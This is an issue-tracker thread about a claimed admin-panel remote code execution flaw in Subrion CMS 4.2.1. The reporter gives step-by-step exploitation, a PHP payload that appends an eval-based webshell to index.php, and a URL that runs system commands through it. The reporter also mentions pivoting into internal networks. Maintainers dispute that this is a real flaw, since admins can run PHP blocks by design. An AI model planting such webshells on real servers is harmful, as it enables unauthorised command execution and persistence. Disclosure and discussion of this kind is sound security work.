RCE vulnerability in Subrion CMS 4.2.1

[KingLann]

RCE vulnerability in Subrion CMS 4.2.1

Affected version

• Subrion CMS 4.2.1

Source code: https://subrion.org/download/

Exploiting vulnerabilities:

1、login address:

http://127.0.0.1/subrion3/panel/

2、Find PHP info in the System module.

3、Search for the absolute path of the website in the information section of PHPINFO by searching for

$_SERVER['SCRIPT_FILENAME']. The website path obtained is: D:/phpstudy_pro/WWW/subrion3/。

4、Edit Contens in "Content" -> "Blocks" -> "Refine Search".

5、And than，we can write webshell into the website’s homepage file index.php，Finally, click the save button.

payload:

fputs(fopen('D:/phpstudy_pro/WWW/subrion3/index.php','a+'),'@eval($_GET[cmd]);');

6、Visit the index. php file on the homepage and execute the command.

payload:

http://127.0.0.1/subrion3/index.php?cmd=system('ipconfig');

vulnerability analysis:

1、Inia.core.smarty.php, $result = eval($block['contents']);The lack of strict filtering of input content has led to code execution vulnerabilities.

Repair suggestions:
Filter dangerous functions and content in the content before writing the file.

[vbezruchkin]

Can someone explain me how you can do that without admin access? It's intentionally allowed to have PHP type blocks in the CMS.

What's the reason to "hack" if you already have access to the admin panel? What's the catch?

[KingLann]

Can someone explain me how you can do that without admin access? It's intentionally allowed to have PHP type blocks in the CMS.

What's the reason to "hack" if you already have access to the admin panel? What's the catch?

Q: This is my reference to CVE-23-46947. After obtaining web application permissions, further obtain server permissions. After obtaining server permissions, attempt to infiltrate the internal network or further expand the harm. This is my personal understanding, and I hope to receive more guidance.

reference to: https://www.opencve.io/cve/CVE-2023-46947

[vbezruchkin]

I will ask my question once again. You need full access to admin panel already, which is not easy to get on a real server. Once you get it, you can "hack" it. It's like you need to be with the keys inside a car to steal it, but the main problem is to get inside, isn't it?

[KingLann]

I will ask my question once again. You need full access to admin panel already, which is not easy to get on a real server. Once you get it, you can "hack" it. It's like you need to be with the keys inside a car to steal it, but the main problem is to get inside, isn't it?

A: I understand what you mean, that is to say, this vulnerability in the backend getshell cannot meet the conditions for applying for a number. Thank you for your suggestion, and I will continue to work hard.

[KingLann]

I will ask my question once again. You need full access to admin panel already, which is not easy to get on a real server. Once you get it, you can "hack" it. It's like you need to be with the keys inside a car to steal it, but the main problem is to get inside, isn't it?

Indeed, access to the management panel is required before exploiting this vulnerability. However, this does not mean that the harm of the vulnerability itself can be ignored. When I was conducting vulnerability mining, I learned that some historical CVE vulnerabilities in Subrion CMS were also triggered in the background, such as CVE-2023-43828, CVE-2023-46947, CVE-2021-41948, and so on. We cannot completely ignore the vulnerabilities in the backend, right? Thieves can enter our house in many ways, but we cannot assume that a locked house is completely safe.

[blockisec]

you are referencing admin XSS vulnerabilities. these have no real impact because there is no higher privileged account to escalate to. Admins can edit page content by design. To get RCE they just can install extensions no need for a "vulnerability" for this.

This issue tracker seems to be a magnet for script kiddies generating AI based "vulnerability" reports.